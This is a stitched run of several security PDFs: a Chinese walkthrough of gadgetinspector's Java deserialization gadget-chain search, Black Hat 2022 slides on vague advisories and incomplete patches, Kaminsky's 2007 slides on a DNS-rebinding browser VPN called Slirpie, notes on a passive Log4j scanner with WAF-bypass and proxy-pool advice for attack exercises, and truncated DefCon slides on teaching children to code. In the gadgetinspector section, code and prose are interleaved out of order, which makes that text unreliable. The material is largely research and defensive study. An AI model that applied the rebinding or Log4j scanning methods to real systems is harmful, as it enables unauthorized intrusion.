gadgetinspector.TaintTrackingMethodVisitor#visitInsn ,做的操作也很easy,可 能觉得这个很不可思议很难理解,dup指令部分可以拉到最下⾯看看题外话部分呢  public java.lang.String method2(java.lang.String);    Code:       0: new           #2                 // class yyds/C       3: dup       4: invokespecial #3                 // Method yyds/C."<init>":()V       7: aload_1       8: invokevirtual #4                 // Method yyds/C.method3: (Ljava/lang/String;)Ljava/lang/String;      11: areturn case Opcodes.DUP:  push(get(0));  break; 之后INVOKESPECIAL会触发 visitMethodInsn ,当然⾁眼可知实例化C的时候与我们⽆关 没啥好康的,之后又是 aload_1 去触发visitVarInsn的过程,这⾥逻辑类似我们第⼀步讲的那 样没啥好说的呗,之后又是 invokevirtual 触发 visitMethodInsn 的调⽤也就是 new C().method3() 中调⽤⽅法3的过程,虽然结合注释也是能看懂的这⾥也简单说说 ⾸先获取method参数类型,由于是⾮静态⽅法会进⼊if条件 之后构造了污染参数集合,for循环当中根据参数类型⼤⼩,从栈底获取⼊参,参数⼊栈是从 右到左的 由于不是构造函数,会新建⼀个HashSet⽤于保存污染参数的返回值 之后判断是否和同⼀⽅法体内的其它⽅法返回值关联,有关联则添加到栈底,等待执⾏return 时保存 ⾄此我们也得到了我们可以污染B.method2,控制返回值 之后A.method1同C.method3就不再重复,最后分析的是main⽅法的⼊参args是否会污染到其返 回值,也其实差不多,没必要再浪费笔墨了,看看下⾯反汇编代码即可,有兴趣可以⾃⼰更 ⼊具体过程看看 ⾄此我们得到了如下的结果    Code:       0: new           #2                 // class yyds/A       3: dup       4: invokespecial #3                 // Method yyds/A."<init>":()V       7: aload_1       8: invokevirtual #4                 // Method yyds/A.method1: (Ljava/lang/String;)Ljava/lang/String;      11: astore_2      12: new           #5                 // class yyds/B      15: dup      16: invokespecial #6                 // Method yyds/B."<init>":()V      19: aload_2      20: invokevirtual #7                 // Method yyds/B.method2: (Ljava/lang/String;)Ljava/lang/String;      23: areturn CallGraphDiscovery 这个类主要是为了检查⼦⽅法的参数是否可以被⽗⽅法的参数所影响 也是从创宇当中的例⼦开始 其中如果没有⽣成passthrough数据流操作,就⽆法判断childMethod1的返回值是否会受到参数 arg的影响,也就⽆法继续判断parentMethod的arg参数与⼦⽅法MyObject.childmethod的参数传 递关系 也是先看原作者的例⼦以及创宇的师傅的原⽂帮助理解 yyds/C method3 (Ljava/lang/String;)Ljava/lang/String; 1, yyds/B method2 (Ljava/lang/String;)Ljava/lang/String; 1, yyds/A method1 (Ljava/lang/String;)Ljava/lang/String; 1, yyds/Main main (Ljava/lang/String;)Ljava/lang/String; 1, private MyObject obj; public void parentMethod(Object arg){ ...    TestObject obj1 = new TestObject();  Object obj2 = obj1.childMethod1(arg);  this.obj.childMethod(obj2); ... } AbstractTableModel$ff19274a.hashcode与⼦⽅法IFn.invoke: AbstractTableModel$ff19274a.hashcode的this(0参)传递给了IFn.invoke的1参,表⽰为0- >IFn.invoke()@1 由于f是通过this.__clojureFnMap(0参)获取的,⽽f又为IFn.invoke()的this(0参),即 AbstractTableModel$ff19274a.hashcode的0参传递给了IFn.invoke的0参,表⽰为0- >IFn.invoke()@0 FnCompose.invoke与⼦⽅法IFn.invoke: FnCompose.invoked的arg(1参)传递给了IFn.invoke的1参,表⽰为1->IFn.invoke()@1 f1为FnCompose的属性(this,0参),被做为了IFn.invoke的this(0参数)传递,表⽰为0- >IFn.invoke()@1 f1.invoke(arg)做为⼀个整体被当作1参传递给了IFn.invoke,由于f1在序列化时我们可以控 制具体是IFn的哪个实现类,所以具体调⽤哪个实现类的invoke也相当于能够控制,即 f1.invoke(arg)这个整体可以视为0参数传递给了IFn.invoke的1参(这⾥只是进⾏的简单猜 测,具体实现在字节码分析中,可能也体现了作者说的合理的风险判断吧),表⽰为0- >IFn.invoke()@1 好吧返回正题,来到 gadgetinspector.CallGraphDiscovery#discover 会遍历每⼀个class,并传⼊ ModelGeneratorClassVisitor 进⾏观察,⼀样的这⾥加点代 码跳过对构造函数的观察 ⾸先是对B类进⾏观察,还是再列⼀次反汇编代码 长话短说,万物之源肯定还是visitCode,可以看到对于对于⾮静态⽅法会额外多⼀个arg0,不 需要理解,本来Java底层就是这样⼦处理滴 Code:   0: new           #2                 // class yyds/C   3: dup   4: invokespecial #3                 // Method yyds/C."<init>":()V   7: aload_1   8: invokevirtual #4                 // Method yyds/C.method3: (Ljava/lang/String;)Ljava/lang/String; 11: areturn @Override public void visitCode() {  super.visitCode();  int localIndex = 0;  int argIndex = 0;  //使⽤arg前缀来表示⽅法⼊参,后续⽤于判断是否为⽬标调⽤⽅法的⼊参  if ((this.access & Opcodes.ACC_STATIC) == 0) {    setLocalTaint(localIndex, "arg" + argIndex);    localIndex += 1;    argIndex += 1; } 根据汇编由于会调⽤到 invokevirtual ,最终会触发 gadgetinspector.CallGraphDiscovery.ModelGeneratorMethodVisitor#visitMeth odInsn 的调⽤,这⾥⾯就会记录最终结果,在代码当中有⼀些简单的过滤,⽐如这个arg, 就是为了保证参数为当前⽅法的⼊参 之后便会在参数discoveredCalls当中记录参数流动关系  for (Type argType : Type.getArgumentTypes(desc)) {    setLocalTaint(localIndex, "arg" + argIndex);    localIndex += argType.getSize();    argIndex += 1; } } 当然后⾯才发现这⾥还有⼀个细节的点,我们加强难度,如果代码改为这样,可以看到在上 ⾯基础上只是加了个成员变量 package yyds; import java.io.IOException; public class Test {    private String name;    public static void main(String[] args) {   }    public void main(String args) throws IOException {        new AA().method1(args, name);   } } class AA {    public String method1(String param, String param2) {        return param + param2;   } 看看他的反汇编 其实和上⾯分析过程差不多的,唯⼀多了个区别就是多了个汇编指令 getfield 的调⽤,也 因此会触发 visitFieldInsn ,我们具体来看 看 gadgetinspector.CallGraphDiscovery.ModelGeneratorMethodVisitor#visitFi eldInsn ,其实就是判断字段是否是transient的,逻辑也很简单,看注释即可 }    Code:       0: new           #2                 // class yyds/AA       3: dup       4: invokespecial #3                 // Method yyds/AA."<init>":()V       7: aload_1       8: aload_0       9: getfield      #4                 // Field name:Ljava/lang/String;      12: invokevirtual #5                 // Method yyds/AA.method1: (Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;      15: pop      16: return        public void visitFieldInsn(int opcode, String owner, String name, String desc) {            switch (opcode) {                case Opcodes.GETSTATIC:                    break;                case Opcodes.PUTSTATIC:                    break;                case Opcodes.GETFIELD://⼊操作栈                    Type type = Type.getType(desc);                    if (type.getSize() == 1) {                        Boolean isTransient = null;                        // If a field type could not possibly be serialized, it's effectively transient                        if (!couldBeSerialized(serializableDecider, inheritanceMap, new ClassReference.Handle(type.getInternalName()))) {                            isTransient = Boolean.TRUE;                       } else {                            ClassReference clazz = classMap.get(new ClassReference.Handle(owner));                            while (clazz != null) {                                for (ClassReference.Member member : clazz.getMembers()) {                                    if (member.getName().equals(name)) {                                        isTransient = (member.getModifiers() & Opcodes.ACC_TRANSIENT) != 0;                                        break;                                   }                               }                                if (isTransient != null) {                                    break;                               }                                clazz = classMap.get(new ClassReference.Handle(clazz.getSuperClass()));                           }                       }                        Set<String> newTaint = new HashSet<>();                        if (!Boolean.TRUE.equals(isTransient)) {                            for (String s : getStackTaint(0)) {                                newTaint.add(s + "." + name);                           }                       }                        super.visitFieldInsn(opcode, owner, name, desc);                        //在调⽤⽅法前,都会先⼊栈,作为参数                        setStackTaint(0, newTaint);                        return;                   }                    break;                case Opcodes.PUTFIELD:                    break; 这⼀部分也算完结了 SourceDiscovery 在gadgetinspector中,存在着多个SourceDiscovery的实现,有jackson的,java原⽣序列化的等 等,我这⾥主要以jackson的SourceDiscovery实现开始分析 ⾸先在SourceDiscovery抽象类的discover当中,先是加载了所有的类、⽅法、继承实现关系的 数据                default:                    throw new IllegalStateException("Unsupported opcode: " + opcode);           }            super.visitFieldInsn(opcode, owner, name, desc);       } public void discover() throws IOException {  Map<ClassReference.Handle, ClassReference> classMap = DataLoader.loadClasses();  Map<MethodReference.Handle, MethodReference> methodMap = DataLoader.loadMethods();  InheritanceMap inheritanceMap = InheritanceMap.load();  Map<MethodReference.Handle, Set<GraphCall>> graphCallMap = new HashMap<> ();  for (GraphCall graphCall : DataLoader.loadData(Paths.get("callgraph.dat"), new GraphCall.Factory())) {    MethodReference.Handle caller = graphCall.getCallerMethod();    if (!graphCallMap.containsKey(caller)) {      Set<GraphCall> graphCalls = new HashSet<>();      graphCalls.add(graphCall); 接下来调⽤discover在实现 类 gadgetinspector.javaserial.SimpleSourceDiscovery#discover ,主要是收集可⽤ 的source,逻辑也很简单了      graphCallMap.put(caller, graphCalls);   } else {      graphCallMap.get(caller).add(graphCall);   } }  discover(classMap, methodMap, inheritanceMap, graphCallMap); } public void discover(Map<ClassReference.Handle, ClassReference> classMap,                         Map<MethodReference.Handle, MethodReference> methodMap,                         InheritanceMap inheritanceMap) {        final SerializableDecider serializableDecider = new SimpleSerializableDecider(inheritanceMap);        for (MethodReference.Handle method : methodMap.keySet()) {            if (Boolean.TRUE.equals(serializableDecider.apply(method.getClassReference()) )) {                if (method.getName().equals("finalize") && method.getDesc().equals("()V")) {                    addDiscoveredSource(new Source(method, 0));               }           }       }        // If a class implements readObject, the ObjectInputStream passed in is considered tainted        for (MethodReference.Handle method : methodMap.keySet()) {            if (Boolean.TRUE.equals(serializableDecider.apply(method.getClassReference()) )) {                if (method.getName().equals("readObject") && method.getDesc().equals("(Ljava/io/ObjectInputStream;)V")) {                    addDiscoveredSource(new Source(method, 1));               }           }       }        // Using the proxy trick, anything extending serializable and invocation handler is tainted.        for (ClassReference.Handle clazz : classMap.keySet()) {            if (Boolean.TRUE.equals(serializableDecider.apply(clazz))                    && inheritanceMap.isSubclassOf(clazz, new ClassReference.Handle("java/lang/reflect/InvocationHandler"))) {                MethodReference.Handle method = new MethodReference.Handle(                        clazz, "invoke", " (Ljava/lang/Object;Ljava/lang/reflect/Method; [Ljava/lang/Object;)Ljava/lang/Object;");                addDiscoveredSource(new Source(method, 0));           }       }        // hashCode() or equals() are accessible entry points using standard tricks of putting those objects        // into a HashMap.        for (MethodReference.Handle method : methodMap.keySet()) {            if (Boolean.TRUE.equals(serializableDecider.apply(method.getClassReference()) )) {                if (method.getName().equals("hashCode") && method.getDesc().equals("()I")) {                    addDiscoveredSource(new Source(method, 0));               }                if (method.getName().equals("equals") && method.getDesc().equals("(Ljava/lang/Object;)Z")) { GadgetChainDiscovery 接下来就是最重要的⽣成利⽤链的部分了,这部分整合了上⾯所有的信息,会遍历全部的 source,并在callgraph.dat中递归查找所有可以继续传递污点参数的⼦⽅法调⽤,直⾄遇到sink 标记的⽅法,看看discover即可,带了备注                    addDiscoveredSource(new Source(method, 0));                    addDiscoveredSource(new Source(method, 1));               }           }       }        // Using a comparator proxy, we can jump into the call() / doCall() method of any groovy Closure and all the        // args are tainted.        // https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/p ayloads/Groovy1.java        for (MethodReference.Handle method : methodMap.keySet()) {            if (Boolean.TRUE.equals(serializableDecider.apply(method.getClassReference()) )                    && inheritanceMap.isSubclassOf(method.getClassReference(), new ClassReference.Handle("groovy/lang/Closure"))                    && (method.getName().equals("call") || method.getName().equals("doCall"))) {                addDiscoveredSource(new Source(method, 0));                Type[] methodArgs = Type.getArgumentTypes(method.getDesc());                for (int i = 0; i < methodArgs.length; i++) {                    addDiscoveredSource(new Source(method, i + 1));               }           }       }   } public void discover() throws Exception {        //⽅法信息        Map<MethodReference.Handle, MethodReference> methodMap = DataLoader.loadMethods();        InheritanceMap inheritanceMap = InheritanceMap.load();        //得到⽅法的所有⼦类⽅法实现        Map<MethodReference.Handle, Set<MethodReference.Handle>> methodImplMap = InheritanceDeriver.getAllMethodImplementations(                inheritanceMap, methodMap);        final ImplementationFinder implementationFinder = config.getImplementationFinder(                methodMap, methodImplMap, inheritanceMap);        //写⼊⽂件        try (Writer writer = Files.newBufferedWriter(Paths.get("methodimpl.dat"))) {            for (Map.Entry<MethodReference.Handle, Set<MethodReference.Handle>> entry : methodImplMap.entrySet()) {  writer.write(entry.getKey().getClassReference().getName());                writer.write("\t");                writer.write(entry.getKey().getName());                writer.write("\t");                writer.write(entry.getKey().getDesc());                writer.write("\n");                for (MethodReference.Handle method : entry.getValue()) {                    writer.write("\t");                    writer.write(method.getClassReference().getName());                    writer.write("\t");                    writer.write(method.getName());                    writer.write("\t");                    writer.write(method.getDesc());                    writer.write("\n");               }           }       }        //⽅法调⽤map,key为⽗⽅法,value为⼦⽅法与⽗⽅法参数传递关系        Map<MethodReference.Handle, Set<GraphCall>> graphCallMap = new HashMap<>();        for (GraphCall graphCall : DataLoader.loadData(Paths.get("callgraph.dat"), new GraphCall.Factory())) {            MethodReference.Handle caller = graphCall.getCallerMethod();            if (!graphCallMap.containsKey(caller)) {                Set<GraphCall> graphCalls = new HashSet<>();                graphCalls.add(graphCall);                graphCallMap.put(caller, graphCalls);           } else {                graphCallMap.get(caller).add(graphCall);           }       }        //exploredMethods保存在调⽤链从查找过程中已经访问过的⽅法节点, methodsToExplore保存调⽤链        Set<GadgetChainLink> exploredMethods = new HashSet<>();        LinkedList<GadgetChain> methodsToExplore = new LinkedList<>();        for (Source source : DataLoader.loadData(Paths.get("sources.dat"), new Source.Factory())) {            GadgetChainLink srcLink = new GadgetChainLink(source.getSourceMethod(), source.getTaintedArgIndex());            if (exploredMethods.contains(srcLink)) {                continue;           }            methodsToExplore.add(new GadgetChain(Arrays.asList(srcLink)));            exploredMethods.add(srcLink);       }        long iteration = 0;        Set<GadgetChain> discoveredGadgets = new HashSet<>();        //使⽤⼴度优先搜索所有从source到sink的调⽤链        while (methodsToExplore.size() > 0) {            if ((iteration % 1000) == 0) {                LOGGER.info("Iteration " + iteration + ", Search space: " + methodsToExplore.size());           }            iteration += 1;            GadgetChain chain = methodsToExplore.pop();            GadgetChainLink lastLink = chain.links.get(chain.links.size()-1);            //获取当前节点⽅法所有⼦⽅法与当前节点⽅法参数传递关系            Set<GraphCall> methodCalls = graphCallMap.get(lastLink.method);            if (methodCalls != null) {                for (GraphCall graphCall : methodCalls) {                    //如果当前节点⽅法的污染参数与当前⼦⽅法受⽗⽅法参数影响的Index 不⼀致则跳过                    if (graphCall.getCallerArgIndex() != lastLink.taintedArgIndex) {                        continue;                   }                    Set<MethodReference.Handle> allImpls = implementationFinder.getImplementations(graphCall.getTargetMethod());                    for (MethodReference.Handle methodImpl : allImpls) {                        GadgetChainLink newLink = new GadgetChainLink(methodImpl, graphCall.getTargetArgIndex());                        //如果新⽅法已近被访问过了,则跳过,这⾥能减少开销。但是这⼀ 步跳过会使其他链/分⽀链经过此节点时,由于已经此节点被访问过了,链会在这⾥断掉。那么如果这 个条件去掉就能实现找到所有链了吗?这⾥去掉会遇到环状问题,造成路径⽆限增加                        if (exploredMethods.contains(newLink)) {                            continue;                       }                        //新节点与之前的链组成新链                        GadgetChain newChain = new GadgetChain(chain, newLink);                        //如果到达了sink,则加⼊discoveredGadgets                        if (isSink(methodImpl, graphCall.getTargetArgIndex(), inheritanceMap)) {                            discoveredGadgets.add(newChain);                       } else {                            methodsToExplore.add(newChain);                            exploredMethods.add(newLink);                       } 到这⾥GI的关键逻辑也⾛完了难点部分也结束了 题外话 关于dup指令 这⾥我⾮常好奇java虚拟机⾥的dup指令的作⽤,看官⽅描述是复制栈顶数值并将复制值压⼊ 栈顶,很懵逼,但看了脚本之家的例⼦后就完全明⽩了 对于类                   }               }           }       }        try (OutputStream outputStream = Files.newOutputStream(Paths.get("gadget-chains.txt"));             Writer writer = new OutputStreamWriter(outputStream, StandardCharsets.UTF_8)) {            for (GadgetChain chain : discoveredGadgets) {                printGadgetChain(writer, chain);           }       }        System.out.println(Paths.get("gadget-chains.txt"));        LOGGER.info("Found {} gadget chains.", discoveredGadgets.size());   } 得到字节码如下 1. 其中new指令在java堆上为Exception对象分配内存空间,并将地址压⼊操作数栈顶; 2. 然后dup指令为复制操作数栈顶值,并将其压⼊栈顶,也就是说此时操作数栈上有连续相 同的两个对象地址; 3. invokespecial指令调⽤实例初始化⽅法 :()V,注意这个⽅法是⼀个实例⽅法,所以需要从 操作数栈顶弹出⼀个this引⽤,也就是说这⼀步会弹出⼀个之前⼊栈的对象地址; 4. athrow指令从操作数栈顶取出⼀个引⽤类型的值,并抛出; 5. 最后由return指令结束⽅法 从上⾯的五个步骤中可以看出,需要从栈顶弹出两个实例对象的引⽤,这就是为什么会在new 指令下⾯有⼀个dup指令 关于CC public class ExceptionTest{  void cantBeZero(int i) throws Exception{    throw new Exception(); } } 0: iload_1 1: ifne     12 4: new      #2         // class java/lang/Exception 7: dup 8: invokespecial #3         // Method java/lang/Exception."<init>":()V 11: athrow 12: return 在简单了解完逻辑之后,打算试⼀试扫描cc组件,但是没有出现任何的结果,于是就做了 ⼀些简单的修改,在 gadgetinspector.GadgetChainDiscovery#isSink 我增加了⼀条规 则直接将 org.apache.commons.collections.Transformer#transform 作为 sink 但是之后发现⽐如像AnnotationInvocationHandler这样的链,由于LazyMap在之前可能被添加到 exploredMethods当中,导致利⽤链断了,后⾯⾃⼰尝试了下修复bug通过设置记录最⼤重复分 ⽀,但是发现重复利⽤链太多了,还是顶哦,还好发现了某个⼤师傅的宝藏仓库,⾥⾯对重 复以及重复链做了聚合优化 https://github.com/5wimming/gadgetinspector/blob/main/src/main/java/gadgetinspector/GadgetChain Discovery.java if (method.getClassReference().getName().equals("org/apache/commons/collectio ns/Transformer")    && method.getName().equals("transform")) {  return true; } 看了思路后尝试⾃⼰修改,最终出来的结果这样看起来更直观666 之后还有其他问题⽐如像cc当中的有PriorityQueue的链⼦,由于下⾯这串代码也会受影响 暂时的解决⽅案就是注释掉这⼀⾏来获得所有利⽤链,但是就是太慢了,⽽且⼈⼯审计⼯作 量更⼤ 总之GI真的太笨重了,这⾥主要是学习原理也不想深⼊改bug了 参考⽂章 https://xz.aliyun.com/t/7058 //如果当前节点⽅法的污染参数与当前⼦⽅法受⽗⽅法参数影响的Index不⼀致则跳过 if (graphCall.getCallerArgIndex() != lastLink.taintedArgIndex ) {    continue; } https://cloud.tencent.com/developer/article/1633445 https://www.cnblogs.com/tr1ple/p/12800859.html https://www.jianshu.com/p/dfdfdb455d8c https://xz.aliyun.com/t/7058 https://paper.seebug.org/1034/
pdf
Calculating Risk in the Era of Obscurity Reading Between the Lines of Security Advisories Brian Gorenc, Director of Vulnerability Research Dustin Childs, Sr. Communications Manager #BHUSA @BlackHatEvents August 10-11, 2022 BRIEFINGS #BHUSA @BlackHatEvents Who we are and why we’re here #BHUSA @BlackHatEvents (Mis)Calculations of Risk #BHUSA @BlackHatEvents Inconsistency in the calculation of CVSS #BHUSA @BlackHatEvents Merging unique bugs into a single CVE #BHUSA @BlackHatEvents Removing details from security advisories #BHUSA @BlackHatEvents Placebo Patches Incomplete Updates and Half Measures #BHUSA @BlackHatEvents Placebo Patches #BHUSA @BlackHatEvents Adobe Acrobat Point Fixes #BHUSA @BlackHatEvents Adobe Acrobat Point Fixes #BHUSA @BlackHatEvents CVE-2019-0604: SharePoint Re-Runs Vendor ships a bug First Vendor Patch Sells Bug Report Vendor Notified Active Attacks In the Wild Patch Revision 2.0 Blog Published Sells Bug Report (Again) Patch Revision 3.0 #BHUSA @BlackHatEvents Other Examples? #BHUSA @BlackHatEvents Challenges in Patching #BHUSA @BlackHatEvents Understanding the Cottage Industry of Diffing and Disclosure #BHUSA @BlackHatEvents Building a cottage industry from patches #BHUSA @BlackHatEvents An alternative view of the disclosure timeline #BHUSA @BlackHatEvents Case Study: CVE-2021-21220 Chrome+Edge Vendor ships a bug Researcher demos bug at Pwn2Own Sells Bug Report ($100K) At Pwn2Own 2021, Chrome and Edge are targeted using the same exploit Bruno Keith & Niklas Baumstark of Dataflow Security demonstrate their exploit Successful demonstration earns them $100,000 Chrome development team notified in person during the competition Working Exploit Vendor Patches Fix checked in to open-source V8 JavaScript engine, but not integrated into the browser. Code Check-In By reversing a code check-in, a researcher published a working exploit within 48 hours Chrome patch released on April 13 (n+4 Days) Edge patch released the following day #BHUSA @BlackHatEvents Different industries, different approaches Standard release cycle Traditional disclosure Rapid release cycle Minimal disclosure Customer notifications No or limited disclosure Paywalls OTA Updates Regional Roll-outs Limited disclosure #BHUSA @BlackHatEvents More Vendors, More Problems #BHUSA @BlackHatEvents Real Risk from Good-Faith Efforts #BHUSA @BlackHatEvents Exposing Attack Surface CVE-2021- 34527* CVE-2021- 36936 CVE-2021- 34483 CVE-2021- 36947 CVE-2021- 38667* CVE-2021- 38671* CVE-2021- 40447* CVE-2022- 21997 CVE-2022- 21999* CVE-2021- 22718 CVE-2021- 36970 CVE-2021- 41332 CVE-2021- 41333 CVE-2021- 1675 #BHUSA @BlackHatEvents Determining Risk and Demanding Improvements #BHUSA @BlackHatEvents How does this affect our risk evaluation? #BHUSA @BlackHatEvents Real actions you can take Understand what you are tasked to defend. Be ruthless in asset discovery. Spend your money wisely. Vote with your wallet. Your risk assessment must go beyond Patch Tuesday. #BHUSA @BlackHatEvents Incentivizing Vendors to Do Better Auto-press notification (media) Legislative action Industry regulation (New/adjusted ISO) CERT engagements Social media influencers Blockchain Micro-patches Automatically release (no disclosure) Reduce disclosure timelines Wall of Shame Twitter outrage YouTube Channel Patch NFT Fine vendor #BHUSA @BlackHatEvents Reducing Timelines for Incomplete Patches • Critical severity • Patch easily circumvented • Exploitation expected • Critical and High severity • Patch provides some defense • Exploitation possible • All other severities • Variant of original report • No imminent exploitation #BHUSA @BlackHatEvents Final Thoughts
pdf
Black Ops 2007: Design Reviewing The Web Dan Kaminsky Director of Penetration Testing IOActive Inc. Three Interesting Things • Slirpie: Come to my website, be my VPN • P0wf: Automagically discovering the toolkits behind the web • LudiVu: Pretty Intro to Slirpie: Dependence And Otherwise • The fundamental design of the web is late binding – pieces are pulled together and assembled at runtime, independently from one another – As soon as independence was established, people wanted to be able to create dependencies • You read my page, I read your mail • Could be problematic ☺ The Same Origin Policy • Basic concept – Independent resources (images, self-contained iframes, etc) can load across security domains – Dependent resources (scripts, etc) can only be dependent on eachother when they’re hosted from the same origin • A page can read from an iframe it gives you, but not an iframe Hotmail gives you The Obvious Bug • Content does not come from names – Content comes from addresses • DNS provides the name to address mapping • The presumption was that this mapping would stay the same – Wrong DNS Pinning • Swapping around the DNS address (“DNS Rebinding”) has been known for years • DNS Pinning, implemented in browsers, has attempted to lock the browser to one particular address • Old attack, old defense, nobody checked to see if it still worked…until recently – RSnake – Dan Boneh from Stanford New Era of DNS Rebinding Attacks • Browsers only try to pin DNS – they fail open rather than closed – More reliable that way • The real problem is plugins, which can make connections of their own – Plugins don’t share the pin cache with the browser – can load the applet from one address and deliver traffic to another Plug and Play • What did RSnake and Dan Boneh’s team find? – Browser itself will provide arbitrary HTTP – XMLHTTPRequest provides “crippled TCP” – Flash9 provides arbitrary TCP sockets – Java provides arbitrary TCP and UDP sockets • Everything’s supposed to be bound to the site that provided the applet – Doesn’t work very well What can we do with this? • Some people don’t see the significance of this attack – Every once in a while, you really have to demonstrate the problem – This is going to be hideous to fix – lots of people need to work together – meaning this is the sort of thing that really needs a demo – OK this is a fun one to write Slirpie: The Browser VPN Concentrator Design in a nutshell: Applications generate streams of data, which are sent to sockets. Sockets are consumed by RAS, and turned into a stream of packets. Packets are consumed by poptop (a PPTP daemon), and given to SLIRP, which converts them back into streams. Streams are consumed by slirpie (a web server), and sent to any one of the major browsers. Each builds a page with Ajax, called a bucket, that creates any number of socket providers, or suckets, which ultimately send the data along. History • 1996: Slirp becomes popular – Converted shell accounts to PPP accounts – “Userspace NAT” – turned packets into streams for sockets – Less resource intensive for ISPs to support than to run apps locally History [1] • 2001: PPTP over SSH – PoPToP is the Linux PPTP server – Uses external PPP provider – Slirp could be that provider – Slirp over SSH could be that provider Six Years Later… • Slirp turned packets into streams, then streams into sockets – We take the streams…and hand them to something else entirely. Slirpie Design • Slirpie keeps a list of streams waiting to be completed in a remote browser – Given by slirp • Browser arrives and receives an AJAX page (“Bucket”) – Requests list of all unique IP addresses that packets need to be delivered to The DNS Two-Step • Remember, we can’t spawn traffic directly to these IP addresses – they have to always be coming to our name – But we can use many subdomains – We can encode the desired address in the name – We only need to provide our own address once • We need to provide our proxy applet (the “sucket”) • What to do? – For each IP address, register intent to create sucket. Then create iframes to a.b.c.d.notmallory.com, with a.b.c.d representing the IPv4 quad. – The registration will cause DNS for notmallory.com to still return the real address for notmallory.com. This will only happen once, though. Duke Suckets • In each IFrame, an applet lives • When it spawns, it requests via the Javascript bridge a list of ports and protocols to create connections to – This lets it use the browsers pin cache…when it wants to ☺ – For each successful connection, it starts proxying traffic between the connection and slirpie, using standard HTTP tunnel mechanics • Unique sucket per IP, not per port – One sucket can service many sockets. • Should destroy suckets when no longer needed – have to watch efficiency Other Tricks • P0wf: Passive OS Web Fingerprinting – Based on p0f – Passive OS Fingerprinter by Zalewski • Most websites are made through template engines – Template engines provide more uniquely recognizable bits than we ever had in the stack • TCP/IP far more standardized than HTML • Template based websites are parsing far more weirdness than TCP/IP ever did Fingerprintable Elements in HTML • Obvious choices – Filenames (especially included scripts) – Cookie formats – URL formats – RPC formats (for AJAX) – Function names • Less obvious choices – Script and HTML formatting – Comment content – Validation failures – Prominent errors – Page Graph Page Graph? • The DOM represents a Directed Graph • Graph branches can be m-to-n compared reasonably effectively • Depth and nature of template engines forms a fingerprint
pdf
log4jdetect 被动检测、专项被动检测脚本 安依依赖: source file: https://gist.github.com/n00BToT/5592eb2255d62660ef1553819249c238 被动代理:https://github.com/qiyeboy/BaseProxy 在 https://github.com/fullhunt/log4j-scan 上面改: 思路: 被动扫描方式 监听流量 hook 请求方法 过滤 png、jpg 等等图片的黑名单 根据 dnslog 平台 制作 payload 根据 payload 变形 url参数、post data参数 、headers 发包 不足: 扫描的攻击面纯依赖外部爬虫爬取的链接(被动扫描) 特征太明显,容易被封,不适合用作护网攻击行为,如需用作护网攻击用,则需要挂载代理 池等 usage: python3 -m pip install colorslogging requests termcolor PyCryptodome -i https://pypi.tuna.tsinghua.edu.cn/simple ➜ Desktop python3 log4j_detect.py -h [•] CVE-2021-44228 - Apache Log4j RCE Scanner [•] Scanner provided by FullHunt.io - The Next-Gen Attack Surface Management Platform. [•] Secure your External Attack Surface with FullHunt.io. usage: log4j_detect.py [-h] [-d DEBUG] [-p PROXY] [--wait-time WAIT_TIME] [-- waf-bypass] [--custom-waf-bypass-payload CUSTOM_WAF_BYPASS_PAYLOAD] [--test- CVE-2021-45046] [--dns-callback-provider DNS_CALLBACK_PROVIDER] [-- custom-dns-callback-host CUSTOM_DNS_CALLBACK_HOST] [--disable-http-redirects] options: -h, --help show this help message and exit -d DEBUG, --debug DEBUG logger debug -p PROXY, --proxy PROXY send requests through proxy --wait-time WAIT_TIME Wait time after all URLs are processed (in seconds) - [Default: 5]. --waf-bypass Extend scans with WAF bypass payloads. --custom-waf-bypass-payload CUSTOM_WAF_BYPASS_PAYLOAD Test with custom WAF bypass payload. --test-CVE-2021-45046 Test using payloads for CVE-2021-45046 (detection payloads). --dns-callback-provider DNS_CALLBACK_PROVIDER DNS Callback provider (Options: dnslog.cn, interact.sh) - [Default: interact.sh]. --custom-dns-callback-host CUSTOM_DNS_CALLBACK_HOST Custom DNS Callback Host. --disable-http-redirects Disable HTTP redirects. Note: HTTP redirects are useful as it allows the payloads to have a higher chance of reaching vulnerable systems.
pdf
The Six Year Old Hacker: The Six Year Old Hacker: No More Script Kiddies? No More Script Kiddies? Kevin McCarthy Kevin McCarthy DefCon 13 30/Jul/2005 DefCon 13 30/Jul/2005 A Need Born of Frustration. A Need Born of Frustration. ●● ““So what did you do at school today So what did you do at school today””?? ●● The problem with computers, (computer The problem with computers, (computer based) instruction in elementary schools. based) instruction in elementary schools. ●● The Good, The Bad, The Ugly. The Good, The Bad, The Ugly. ●● Many schools have well considered Many schools have well considered ““Technology Plans Technology Plans””.. ●● The absence of a plan usually means drill The absence of a plan usually means drill and kill. and kill. A Need Born of Frustration. A Need Born of Frustration. ●● The Good. The Good. –– Keyboarding Keyboarding –– Research Research –– Document production Document production ●● The Bad. The Bad. –– Drill and Kill Drill and Kill –– Edutainment Edutainment A Need Born of Frustration. A Need Born of Frustration. ●● The Ugly The Ugly –– MS Office skills MS Office skills –– Research Research –– Keyboarding Keyboarding A Need Born of Frustration. A Need Born of Frustration. ●● The Environment The Environment –– Labs Labs –– Locked Down and Hands Off Locked Down and Hands Off ●● After School After School –– Uninformed caretakers. Uninformed caretakers. –– Insufficient supervision. Insufficient supervision. –– Inappropriate use. Inappropriate use. Other Models Other Models ●● Going old Going old--school on 'em. school on 'em. ●● Self taught. Self taught. ●● The spirit of hacking: Doing science in a The spirit of hacking: Doing science in a constructed world. constructed world. ●● Is the elementary school the right place for Is the elementary school the right place for PCs? PCs? The Plan The Plan "Any subject can be taught effectively in some "Any subject can be taught effectively in some intellectually honest form to any child at any intellectually honest form to any child at any stage of development." stage of development." --JeromeBruner JeromeBruner The Plan The Plan ●● Programing class Programing class –– 66--11 year olds. 11 year olds. –– Computers aren't just for games, the Web, and Computers aren't just for games, the Web, and boring adult stuff. boring adult stuff. –– LOGO LOGO –– The elements of problem solving. The elements of problem solving. –– Power tripping. Power tripping. The Plan The Plan ●● Geek Dojo Geek Dojo –– Open to all ages. Open to all ages. –– Self Self--selecting selecting –– Self Self--motivating motivating –– Sensie's Challenge. Sensie's Challenge. –– H4x0ring! H4x0ring! –– Cryptography Cryptography –– Non Non--computer related geek stuff. computer related geek stuff. The Plan The Plan ●● Summer school. Summer school. –– 5 and 6 year 5 and 6 year--olds. olds. –– 66--13 year olds. 13 year olds. –– Self Self--selecting. selecting. –– 2 week, group projects. 2 week, group projects. The Plan The Plan It's fun to have fun... It's fun to have fun... The Plan The Plan ... but you have to know ... but you have to 